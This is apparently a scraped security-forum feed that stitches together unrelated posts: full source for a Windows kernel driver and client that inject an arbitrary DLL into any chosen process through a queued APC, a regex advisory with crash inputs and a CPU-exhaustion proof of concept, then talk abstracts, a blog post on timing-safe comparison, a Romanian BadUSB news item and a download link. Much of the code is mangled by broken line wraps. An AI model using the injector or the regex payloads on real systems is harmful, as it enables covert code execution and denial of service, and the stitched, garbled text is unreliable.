PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ProcessorMode, PVOID NormalContext ); extern "C" BOOLEAN KeInsertQueueApc( PRKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, KPRIORITY Increment ); UNICODE_STRING DeviceName=RTL_CONSTANT_STRING(L"\\Device\\KeInject"),SymbolicLink=RTL_CONSTANT_STRING(L"\\DosDevices\\KeInject"); ULONG ApcStateOffset; // Offset to the ApcState structure PLDR_LOAD_DLL LdrLoadDll; // LdrLoadDll address void Unload(PDRIVER_OBJECT pDriverObject) { DbgPrint("DLL injection driver unloaded."); IoDeleteSymbolicLink(&SymbolicLink); IoDeleteDevice(pDriverObject->DeviceObject); } void NTAPI KernelRoutine(PKAPC apc,PKNORMAL_ROUTINE* NormalRoutine,PVOID* NormalContext,PVOID* SystemArgument1,PVOID* SystemArgument2) { ExFreePool(apc); } void NTAPI InjectDllApc(PVOID NormalContext,PVOID SystemArgument1,PVOID SystemArgument2) { PKINJECT inject=(PKINJECT)NormalContext; inject->LdrLoadDll(NULL,NULL,&inject->DllName,&inject->DllBase); inject->Executed=TRUE; } BOOLEAN InjectDll(PINJECT_INFO InjectInfo) { PEPROCESS Process; PETHREAD Thread; PKINJECT mem; ULONG size; PKAPC_STATE ApcState; PKAPC apc; PVOID buffer; PSYSTEM_PROCESS_INFO pSpi; LARGE_INTEGER delay; buffer=ExAllocatePool(NonPagedPool,1024*1024); // Allocate memory for the system information if(!buffer) { DbgPrint("Error: Unable to allocate memory for the process thread list."); return FALSE; } // Get the process thread list if(!NT_SUCCESS(ZwQuerySystemInformation(5,buffer,1 024*1024,NULL))) { DbgPrint("Error: Unable to query process thread list."); ExFreePool(buffer); return FALSE; } pSpi=(PSYSTEM_PROCESS_INFO)buffer; // Find a target thread while(pSpi->NextEntryOffset) { if(pSpi->UniqueProcessId==InjectInfo->ProcessId) { DbgPrint("Target thread found. TID: %d",pSpi->Threads[0].ClientId.UniqueThread); break; } pSpi=(PSYSTEM_PROCESS_INFO)((PUCHAR)pSpi+pSpi->NextEntryOffset); } // Reference the target process if(!NT_SUCCESS(PsLookupProcessByProcessId(InjectIn fo->ProcessId,&Process))) { DbgPrint("Error: Unable to reference the target process."); ExFreePool(buffer); return FALSE; } DbgPrint("Process name: %s",PsGetProcessImageFileName(Process)); DbgPrint("EPROCESS address: %#x",Process); // Reference the target thread if(!NT_SUCCESS(PsLookupThreadByThreadId(pSpi->Threads[0].ClientId.UniqueThread,&Thread))) { DbgPrint("Error: Unable to reference the target thread."); ObDereferenceObject(Process); // Dereference the target process ExFreePool(buffer); // Free the allocated memory return FALSE; } DbgPrint("ETHREAD address: %#x",Thread); ExFreePool(buffer); // Free the allocated memory KeAttachProcess(Process); // Attach to target process's address space mem=NULL; size=4096; // Allocate memory in the target process if(!NT_SUCCESS(ZwAllocateVirtualMemory(NtCurrentPr ocess(),(PVOID*)&mem,0,&size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE ))) { DbgPrint("Error: Unable to allocate memory in the target process."); KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return FALSE; } DbgPrint("Memory allocated at %#x",mem); mem->LdrLoadDll=LdrLoadDll; // Write the address of LdrLoadDll to target process wcscpy(mem->Buffer,InjectInfo->DllName); // Write the DLL name to target process RtlInitUnicodeString(&mem->DllName,mem->Buffer); // Initialize the UNICODE_STRING structure ApcState=(PKAPC_STATE)((PUCHAR)Thread+ApcStateOffs et); // Calculate the address of the ApcState structure ApcState->UserApcPending=TRUE; // Force the target thread to execute APC memcpy((PKINJECT)(mem+1),InjectDllApc,(ULONG)Kerne lRoutine-(ULONG)InjectDllApc); // Copy the APC code to target process DbgPrint("APC code address: %#x",(PKINJECT)(mem+1)); apc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC )); // Allocate the APC object if(!apc) { DbgPrint("Error: Unable to allocate the APC object."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return FALSE; } KeInitializeApc(apc,Thread,OriginalApcEnvironment, KernelRoutine,NULL,(PKNORMAL_ROUTINE)((PKINJECT)me m+1),UserMode,mem); // Initialize the APC DbgPrint("Inserting APC to target thread"); // Insert the APC to the target thread if(!KeInsertQueueApc(apc,NULL,NULL,IO_NO_INCREMENT )) { DbgPrint("Error: Unable to insert APC to target thread."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread ExFreePool(apc); // Free the APC object return FALSE; } delay.QuadPart=-100*10000; while(!mem->Executed) { KeDelayExecutionThread(KernelMode,FALSE,&delay); // Wait for the injection to complete } if(!mem->DllBase) { DbgPrint("Error: Unable to inject DLL into target process."); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); KeDetachProcess(); ObDereferenceObject(Process); ObDereferenceObject(Thread); return FALSE; } DbgPrint("DLL injected at %#x",mem->DllBase); size=0; ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&mem,&size,MEM_RELEASE); // Free the allocated memory KeDetachProcess(); // Detach from target process's address space ObDereferenceObject(Process); // Dereference the target process ObDereferenceObject(Thread); // Dereference the target thread return TRUE; } NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject,PIRP irp) { PIO_STACK_LOCATION io; PINJECT_INFO InjectInfo; NTSTATUS status; io=IoGetCurrentIrpStackLocation(irp); irp->IoStatus.Information=0; switch(io->MajorFunction) { case IRP_MJ_CREATE: status=STATUS_SUCCESS; break; case IRP_MJ_CLOSE: status=STATUS_SUCCESS; break; case IRP_MJ_READ: status=STATUS_SUCCESS; break; case IRP_MJ_WRITE: InjectInfo=(PINJECT_INFO)MmGetSystemAddressForMdlS afe(irp->MdlAddress,NormalPagePriority); if(!InjectInfo) { status=STATUS_INSUFFICIENT_RESOURCES; break; } if(!InjectDll(InjectInfo)) { status=STATUS_UNSUCCESSFUL; break; } status=STATUS_SUCCESS; irp->IoStatus.Information=sizeof(INJECT_INFO); break; default: status=STATUS_INVALID_DEVICE_REQUEST; break; } irp->IoStatus.Status=status; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath) { PDEVICE_OBJECT DeviceObject; PEPROCESS Process; PETHREAD Thread; PKAPC_STATE ApcState; PVOID KdVersionBlock,NtdllBase; PULONG ptr,Functions,Names; PUSHORT Ordinals; PLDR_DATA_TABLE_ENTRY MmLoadedUserImageList,ModuleEntry; ULONG i; PIMAGE_DOS_HEADER pIDH; PIMAGE_NT_HEADERS pINH; PIMAGE_EXPORT_DIRECTORY pIED; pDriverObject->DriverUnload=Unload; KdVersionBlock=(PVOID)__readfsdword(0x34); // Get the KdVersionBlock MmLoadedUserImageList=*(PLDR_DATA_TABLE_ENTRY*)((P UCHAR)KdVersionBlock+0x228); // Get the MmLoadUserImageList DbgPrint("KdVersionBlock address: %#x",KdVersionBlock); DbgPrint("MmLoadedUserImageList address: %#x",MmLoadedUserImageList); ModuleEntry=(PLDR_DATA_TABLE_ENTRY)MmLoadedUserIma geList->InLoadOrderLinks.Flink; // Move to first entry NtdllBase=ModuleEntry->DllBase; // ntdll is always located in first entry DbgPrint("ntdll base address: %#x",NtdllBase); pIDH=(PIMAGE_DOS_HEADER)NtdllBase; pINH=(PIMAGE_NT_HEADERS)((PUCHAR)NtdllBase+pIDH->e_lfanew); pIED=(PIMAGE_EXPORT_DIRECTORY)((PUCHAR)NtdllBase+p INH->OptionalHeader.DataDirectory[iMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); Functions=(PULONG)((PUCHAR)NtdllBase+pIED->AddressOfFunctions); Names=(PULONG)((PUCHAR)NtdllBase+pIED->AddressOfNames); Ordinals=(PUSHORT)((PUCHAR)NtdllBase+pIED->AddressOfNameOrdinals); // Parse the export table to locate LdrLoadDll for(i=0;i<pIED->NumberOfNames;i++) { if(!strcmp((char*)NtdllBase+Names,"LdrLoadDll")) { LdrLoadDll=(PLDR_LOAD_DLL)((PUCHAR)NtdllBase+Funct ions[Ordinals]); break; } } DbgPrint("LdrLoadDll address: %#x",LdrLoadDll); Process=PsGetCurrentProcess(); Thread=PsGetCurrentThread(); ptr=(PULONG)Thread; // Locate the ApcState structure for(i=0;i<512;i++) { if(ptr==(ULONG)Process) { ApcState=CONTAINING_RECORD(&ptr,KAPC_STATE,Process); // Get the actual address of KAPC_STATE ApcStateOffset=(ULONG)ApcState-(ULONG)Thread; // Calculate the offset of the ApcState structure break; } } DbgPrint("ApcState offset: %#x",ApcStateOffset); IoCreateDevice(pDriverObject,0,&DeviceName,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_ OPEN,FALSE,&DeviceObject); IoCreateSymbolicLink(&SymbolicLink,&DeviceName); for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++) { pDriverObject->MajorFunction=DriverDispatch; } DeviceObject->Flags&=~DO_DEVICE_INITIALIZING; DeviceObject->Flags|=DO_DIRECT_IO; DbgPrint("DLL injection driver loaded."); return STATUS_SUCCESS; } Source code (user mode application) #include <stdio.h>#include <Windows.h> typedef struct _INJECT_INFO { HANDLE ProcessId; wchar_t DllName[1024]; }INJECT_INFO,*PINJECT_INFO; int wmain(int argc,wchar_t* argv[]) { HANDLE hFile; DWORD write; INJECT_INFO InjectInfo; if(argc<3) { printf("\nUsage: kinject [PID] [DLL name]\n"); return -1; } hFile=CreateFile(L"\\\\.\\KeInject",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_S HARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("\nError: Unable to connect to the driver (%d)\n",GetLastError()); return -1; } memset(&InjectInfo,0,sizeof(INJECT_INFO)); InjectInfo.ProcessId=(HANDLE)wcstoul(argv[1],NULL,0); wcscpy(InjectInfo.DllName,argv[2]); if(!WriteFile(hFile,&InjectInfo,sizeof(INJECT_INFO),&write,NULL)) { printf("\nError: Unable to write data to the driver (%d)\n",GetLastError()); CloseHandle(hFile); return -1; } CloseHandle(hFile); return 0; } [h=4]Attached Files[/h] KeInject.zip 447.64KB 438 downloads Sursa: Inject DLL from kernel mode - Source Codes - rohitab.com - Forums

C++11 Resource Exhaustion Authored by Maksymilian Arciemowicz | Site cxsecurity.com GCC and CLANG C++11 regex functionality suffers from resource exhaustion issues. C++11 <regex> insecure by default http://cxsecurity.com/issue/WLB-2014070187 --- 0 Description --- In this article I will present a conclusion of testing the new 'objective regex' in several implementation of standard c++ library like libcxx (clang) and stdlibc++ (gcc). The results show the weakness in official supported implementations. Huge complexity and memory exhaustion were well known in most of libc libraries. Theoretical the new c++11 <regex> eliminate resource exhaustion by specifying special limits preventing for evil patterns. In glibc there was the conviction that for the safety of use regcomp() respond vendor using regex implementation. However, it is difficult to do the parser of regular expression in clients applications and others remote affected. The exceptions support for regex errors looks very promising. Let's see some part of documentation std::regex_error -std::regex_constants::error_type----------------------- error_space there was not enough memory to convert the expression into a finite state machine error_complexity the complexity of an attempted match exceeded a predefined level error_stack there was not enough memory to perform a match -std::regex_constants::error_type----------------------- error_complexity looks promising but which the value of level complexity is the best'? There is many interpretations between usability and security. In security aspect this level should be low for to keep real time execution. In contrast to the static code analysis where execution time is not so important. The other constants like error_space and error_stack are also interesting in security view. After official release for stdlibc++ <regex> in GCC 4.9.0 I have decided check this implementation. To prove that these limits do not fulfill their role, I reported below issues GCC: libstdc++ C++11 regex resource exhaustion https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61601 libstdc++ C++11 regex memory corruption https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61582 CLANG: libcxx C++11 regex cpu resource exhaustion http://llvm.org/bugs/show_bug.cgi?id=20291 In my observation libc++ wins in performance. Only problem with error complexity reported. In ticket #20291 we are searching answer for default pre-set level value. However for each use can be personal. GCC has fixed most dangerous issues before releasing official version 4.9.0 where <regex> is supported. Anyway stack overflow still occurs in last regex implementation. --- 0.1 GCC before 4.9 Memory corruption --- # ./c11RE '(|' Segmentation fault (core dumped) --- 0.2 GCC 4.9 Memory corruption --- (gdb) r '((.*)()?*{100})' Starting program: /home/cx/REstd11/kozak5/./c11re '((.*)()?*{100})' Program received signal SIGSEGV, Segmentation fault. 0x0000000000402f15 in std::_Bit_reference::operator bool() const --- 0.3 GCC Trunk Stack Overflow --- Starting program: /home/cx/REtrunk/kozak5/t3 '(.*{100}{300})' Program received signal SIGSEGV, Segmentation fault. 0x000000000040c22a in std::__detail::_Executor<char const*, std::allocator<std::sub_match<char const*> >, std::regex_traits<char>, true>::_M_dfs(std::__detail::_Executor<char const*, std::allocator<std::sub_match<char const*> >, std::regex_traits<char>, true>::_Match_mode, long) () --- 0.4 CLANG CPU Exhaustion PoC --- #include <iostream> #include <regex> #include <string> using namespace std; int main() { try { regex r("(.*(.*){999999999999999999999999999999999})", regex_constants::extended); smatch results; string test_str = "|||||||||||||||||||||||||||||||||||||||||||||||||||||||"; if (regex_search(test_str, results, r)) cout << results.str() << endl; else cout << "no match"; } catch (regex_error &e) { cout << "extended: what: " << e.what() << "; code: " << e.code() << endl; } return 0; } --- CLANG CPU Exhaustion --- --- 1 Conclusion --- I think It's dangerous situation what may have a bearing on the quality similar to the glibc <regex.h>. Maybe only a new type of extended regular expressions provide safety? It's good moment to start discussion about of safety regex in new c++. --- 2 References --- libstdc++ C++11 regex resource exhaustion https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61601 libstdc++ C++11 regex memory corruption https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61582 libcxx C++11 regex cpu resource exhaustion http://llvm.org/bugs/show_bug.cgi?id=20291 GCC 4.9 Release Series New Features https://gcc.gnu.org/gcc-4.9/changes.html --- 3 Thanks --- gcc and clang support and KacperR --- 4 About --- Author: Maksymilian Arciemowicz Contact: http://cxsecurity.com/wlb/add/ Sursa: C++11 Resource Exhaustion ? Packet Storm

25c3 - An Introduction To New Stream Cipher Designs Description: An introduction to new stream cipher designs Turning data into line noise and back Even with "nothing to hide", we want to protect the privacy of our bits and bytes. Encryption is an important tool for this, and stream ciphers are a major class of symmetric-key encryption schemes. Algorithms such as RC4 (used in WEP/WPA, bittorrent, SSL), A5/1 (GSM telephony), E0 (bluetooth), as well as AES in counter (CTR) mode, are important examples of stream ciphers used in everyday applications. Whereas a block cipher such as AES works by encrypting fixed-length data blocks (and chaining these together in a suitable mode of operation), stream ciphers output an unique and arbitrary-length keystream of pseudorandom bits or bytes, which is simply XORed with the plaintext stream to produce the ciphertext. Advantages of stream ciphers often include smaller hardware footprint and higher encryption speeds than comparable block ciphers such as AES. However, cryptanalysis has led to attacks on many of the existing algorithms. The ECRYPT Stream Cipher Project (eSTREAM) has been a 4-year project funded by the EU to evaluate new and promising stream ciphers. The project ended in April 2008, with a final portfolio which currently consists of 7 ciphers: 3 suitable for hardware implementation, and 4 aimed at software environments. The portfolio ciphers are considered to provide an advantage over plain AES in at least one significant aspect, but the designs are very different and often suited for different applications. Since the eSTREAM ciphers are quite new, many of them are not well known outside the academic community. The goal of this talk is to give a very quick presentation of each of the 7 portfolio ciphers: Grain v1, MICKEY v2, Trivium, HC-128, Rabbit, Salsa20/12 and SOSEMANUK. For More Information please visit : - 25C3: speakers Sursa: 25c3 - An Introduction To New Stream Cipher Designs

25c3 - Full Disk Encryption Crash Course Description: Full-Disk-Encryption Crash-Course Everything to hide This is not a hacking presentation, no vulnerabilities are presented. It's a crash-course in full-disk-encryption ("FDE") concepts, products and implementation aspects. An overview of both commercial and open-source offerings for Windows, Linux, and MacOSX is given. A (programmer's) look at the open-source solutions concludes the presentation. Full-Disk-Encryption is an important aspect of data security and everyone should use an appropriate solution to protect their (especially mobile) systems and data. This lecture covers the technology behind Full-Disk-Encryption software products. The established technical architectures of software solutions for Microsoft Windows and Linux are presented in this lecture: Pre-Boot-Authentication, encryption driver and in-place filesystem encryption. An overview of commercial products and open-source offerings for Windows, Linux and OSX is given. Distinguishing features of specific products and additional topics are covered, including: TPM support (OS binding and key storage), multi-disk support and threats. The last segment of the lecture focuses on open-source solutions: TrueCrypt's volume specifications, TrueCrypt's hidden volume capabilities and a comparison of in-place filesystem encryption implementations of TrueCrypt and DiskCryptor. A feature wish-list for open-source Full-Disk-Encryption solutions completes the lecture. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Full Disk Encryption Crash Course

25c3 - Chip Reverse Engineering Description: Chip Reverse Engineering Cryptographic algorithms are often kept secret in the false belief that this provides security. To find and analyze these algorithms, we reverse-engineering the silicon chips that implement them. With simple tools, we open the chips, take pictures, and analyze their internal structures. The talk provides all the details you need to start reversing chips yourself. Happy hacking! For More Information please visit : - 25C3: speakers Sursa: 25c3 - Chip Reverse Engineering

25c3 - Security Failures In Smart Card Payment Systems Description: Security Failures in Smart Card Payment Systems Tampering the Tamper-Proof PIN entry devices (PED) are used in the Chip & PIN (EMV) system to process customers' card details and PINs in stores world-wide. Because of the highly sensitive information they handle, PEDs are subject to an extensive security evaluation procedure. We have demonstrated that the tamper protection of two popular PEDs can be easily circumvented with a paperclip, some basic technical skills, and off-the-shelf electronics. PIN entry devices (PEDs) are critical security components in Chip & PIN (EMV) smartcard payment systems as they receive a customer's card and PIN. Their approval is subject to an extensive suite of evaluation and certification procedures. We have demonstrated that the tamper proofing of PEDs is unsatisfactory, as is the certification process. This talk will discuss practical low-cost attacks on two certified, widely-deployed PEDs – the Ingenico i3300 and the Dione Xtreme. By tapping inadequately protected smartcard communications, an attacker with basic technical skills can expose card details and PINs, leaving cardholders open to fraud. The talk will describe the anti-tampering mechanisms of the two PEDs and show that, while the specific protection measures mostly work as intended, critical vulnerabilities arise because of the poor integration of cryptographic, physical and procedural protection. These failures are important not only because they allow fraud to be committed, but also because of their affect on customer liability. As Chip & PIN was claimed to be foolproof, victims of fraud often find themselves accused of being negligent, or even complicit in the crime. The results of this work will help customers in this position argue that their losses should be refunded. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Security Failures In Smart Card Payment Systems

25c3 - Hacking The Iphone Description: Speakers: MuscleNerd, pytey, planetbeing Apple's iPhone has made a tremendous impact on the smartphone market and the public consciousness, but it has also highlighted their desire to carefully control the device with draconian restrictions. These restrictions prevent users from choosing to run third-party applications unauthorized by Apple and using the devices on carriers not approved by Apple. Since its release, a tremendous amount of effort has been made to remove these restrictions for the benefit of the community. A year later, we have now learned much about its inner workings and have methods to circumvent these restrictions. This talk will summarize what we have learned about the internal architecture of the iPhone platform, its security, and the ways we have found to defeat these security measures. More information about the 25th Chaos Communication Congress can be found via the Chaos Communication For More Information please visit : - 25C3: speakers Sursa: 25c3 - Hacking The Iphone

25c3 - Tricks Makes You Smile Description: Tricks: makes you smile A clever or ingenious device or expedient; adroit technique: the tricks of the trade. A collection of engaging techniques, some unreleased and some perhaps forgotten, to make pentesting fun again. From layer 3 attacks that still work, to user interaction based exploits that aren't 'clickjacking', to local root privilege escalation without exploits and uncommon web application exploitation techniques. For More Information please visit : - 25C3: speakers

25c3 - Anatomy Of Smartphone Hardware Description: Do you know the architecture of contemporary mobile phone hardware? This presentation will explain about the individual major building blocks and overall architecture of contemporary GSM and UMTS smartphones. We will start from a general block diagram level and then look at actual chipsets used in mobile devices, ranging from SoC to RAM and flash memory technologies, Bluetooth, Mobile WiFi chipsets, busses/protocols as well as the GSM baseband side. The main focus will be about the OpenMoko Freerunner (GTA02) hardware, since the schematics are open and can be used for reference during the lecture. However, we will also look into tighter integrated components of various vendors like Qualcomms MSM7xxx, Samsung S3C64xx, TI OMAP35xx and others. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Anatomy Of Smartphone Hardware

25c3 - Analyzing Rfid Security Description: Analyzing RFID Security Many RFID tags have weaknesses, but the security level of different tags varies widely. Using the Mifare Classic cards as an example, we illustrate the complexity of RFID systems and discuss different attack vectors. To empower further analysis of RFID cards, we release an open-source, software-controlled, and extensible RFID reader with support for most common standards. RFID tags and contact-less smart cards are regularly criticized for their lack of security. While many RFID tags have weaknesses, the security level of different tags varies widely. Using the Mifare Classic cards as an example, we illustrate the complexity of RFID systems and discuss different attack vectors. To empower further analysis of RFID cards, we release an open-source, software-controlled, and extensible RFID reader with support for most common standards. For More Information please visit : - 25C3: speakers Sursa: 25c3 - Analyzing Rfid Security

Timing-safe memcmp and API parity Nate Lawson @ 4:03 am OpenBSD released a new API with a timing-safe bcmp and memcmp. I strongly agree with their strategy of encouraging developers to adopt “safe” APIs, even at a slight performance loss. The strlcpy/strlcat family of functions they pioneered have been immensely helpful against overflows. Data-independent timing routines are extremely hard to get right, and the farther you are from the hardware, the harder it is to avoid unintended leakage. Your best bet if working in an embedded environment, is to use assembly and thoroughly test on the target CPU under multiple scenarios (interrupts, power management throttling clocks, etc.) Moving up to C creates a lot of pitfalls, especially if you support multiple compilers and versions. Now you are subject to micro-architectural variance, such as cache, branch prediction, bus contention, etc. And compilers have a lot of leeway with optimizing away code with strictly-intended behavior. While I think the timing-safe bcmp (straightforward comparison for equality) is useful, I’m more concerned with the new memcmp variant. It is more complicated and subject to compiler and CPU quirks (because of the additional ordering requirements), may confuse developers who really want bcmp, and could encourage unsafe designs. If you ask a C developer to implement bytewise comparison, they’ll almost always choose memcmp(). (The “b” series of functions is more local to BSD and not Windows or POSIX platforms.) This means that developers using timingsafe_memcmp() will be incorporating unnecessary features simply by picking the familiar name. If compiler or CPU variation compromised this routine, this would introduce a vulnerability. John-Mark pointed out to me a few ways the current implementation could possibly fail due to compiler optimizations. While the bcmp routine is simpler (XOR accumulate loop), it too could possibly be invalidated by optimization such as vectorization. The most important concern is if this will encourage unsafe designs. I can’t come up with a crypto design that requires ordering of secret data that isn’t also a terrible idea. Sorting your AES keys? Why? Don’t do that. Database index lookups that reveal secret contents? Making array comparison constant-time fixes nothing when the index involves large blocks of RAM/disk read timing leaks. In any scenario that involves the need for ordering of secret data, much larger architectural issues need to be addressed than a comparison function. Simple timing-independent comparison is an important primitive, but it should be used only when other measures are not available. If you’re concerned about HMAC timing leaks, you could instead hash or double-HMAC the data and compare the results with a variable-timing comparison routine. This takes a tiny bit longer but ensures any leaks are useless to an attacker. Such algorithmic changes are much safer than trying to set compiler and CPU behavior in concrete. The justification I’ve heard from Ted Unangst is “API parity“. His argument is that developers will not use the timing-safe routines if they don’t conform to the ordering behavior of memcmp. I don’t get this argument. Developers are more likely to be annoyed with the sudden performance loss of switching to timing-safe routines, especially for comparing large blocks of data. And, there’s more behavior that should intentionally be broken in a “secure memory compare” routine, such as two zero-length arrays returning success instead of an error. Perhaps OpenBSD will reconsider offering this routine purely for the sake of API parity. There are too many drawbacks. Sursa: Timing-safe memcmp and API parity | root labs rdist

E dovedit: dispozitivele USB pot con?ine viru?i greu de detectat, cu acces nelimitat la datele utilizatorilor Aurelian Mihai - 1 aug 2014 Demonstrat? de un grup de exper?i în securitate, o bre?? de securitate prezent? în protocolul de comunica?ie folosit pentru conectarea dispozitivelor USB poate fi exploatat? cu consecin?e extrem de grave, compromi?ând orice computer cu port USB. Mai mult, dispozitivele USB infectate sunt greu de descoperit, utilizatorii de rând neputând afla dac? stick-ul USB flash sau tastatura proasp?t achizi?ionat? con?ine sau nu un virus periculos. Potrivit exper?ilor Karsten Nohl ?i Jakob Lell, protocolul Universal Serial Bus folosit ca standard pentru conectarea dispozitivelor externe la portul USB con?ine o bre?? de securitate ce poate fi exploatat? pentru a ob?ine control nelimitat asupra PC-urilor. Pentru a expune problema descoperit? cei doi au decompilat por?iunea de firmware responsabil cu gestionarea func?iilor de baz? ale protocolului USB, la care au ad?ugat o mostr? de malware creat cu scop demonstrativ. Odat? strecurat? pe dispozitivul USB, componenta malware prezent? la nivel de firmware este activat? prin simpla conectare a dispozitivului la portul USB, ob?inând acces la fi?ierele stocate în memorie sau intercepta conexiunea la internet a utilizatorului. zoom inE dovedit: dispozitivele USB pot con?ine viru?i imposibil de înl?turat, cu acces nelimitat la datele utilizatorilor Având în vedere c? acest exploit vizeaz? însu?i protocolul care guverneaz? func?ionarea dispozitivelor USB, practic orice dispozitiv poate fi compromis - stick-uri USB flash, mouse ?i tastaturi USB, smartphone ?i tablete cu port USB. Totu?i, componenta malware nu este executat? direct pe dispozitiv, ci mai degrab? transferat? în memoria PC-ului conectat, unde poate fi detectat? ?i înl?turat? folosind programe antivirus. Din p?cate dispozitivul infectat nu poate fi cur??at prin simpla ?tergere sau formatare a spa?iului de stocare. În lipsa unui patch care s? instaleze un firmware necompromis, dispozitivul USB va continua s? infecteze orice PC la care este conectat. Momentan este aproape imposibil pentru utilizatorii obi?nui?i s? verifice dac? firmware-ul unui dispozitiv este sau nu compromis. În plus, este teoretic posibil ca infectarea s? se produc? ?i în sens invers, de la un PC infectat la un dispozitiv USB, propagând mai departe malware-ul respectiv la orice PC este conectat dispozitivul proasp?t compromis. Aparent, exploit-ul despre care se zvone?te c? ar fi folosit deja de autorit??ile americane pentru înlesnirea activit??ilor de spionaj nu are în prezent nici un remediu. Singurele m?suri care pot fi luate de utilizatori este s? evite folosirea dispozitivelor USB cu provenien?? incert? ?i s? previn? propagarea infect?rilor evitând conectarea dispozitivelor USB la PC-uri deja compromise. Sursa: E dovedit: dispozitivele USB pot con?ine viru?i greu de detectat, cu acces nelimitat la datele utilizatorilor

Nu. Imaginea e ca sa poata vedea toata lumea ce aplicatii are si ce fac. Cei care se plictisesc pot decompila APK-urile si se pot uita prin sursa lor sa vada ce fac.

[h=1] Secure by Design[/h] [h=2]A 21st-century smartphone[/h] Blackphone combines a custom operating system with leading applications optimized for security. The result: an unparalleled product ideal for people who recognize a need for privacy and want a simple, secure place to start. [h=1]Meet PrivatOS[/h] [h=2]Blackphone’s security-enhanced Android™ build[/h] Blackphone’s combination of a custom operating system with hand picked application tools optimizes for security. The result: an unparalleled product ideal for information workers, executives, public figures, and anyone else unwilling to give up their privacy. View Features Info: https://www.blackphone.ch/ Download: https://rstforums.com/fisiere/blackphone-4.4.2.zip (243 MB)

Parola: 5ZTzuOIjaq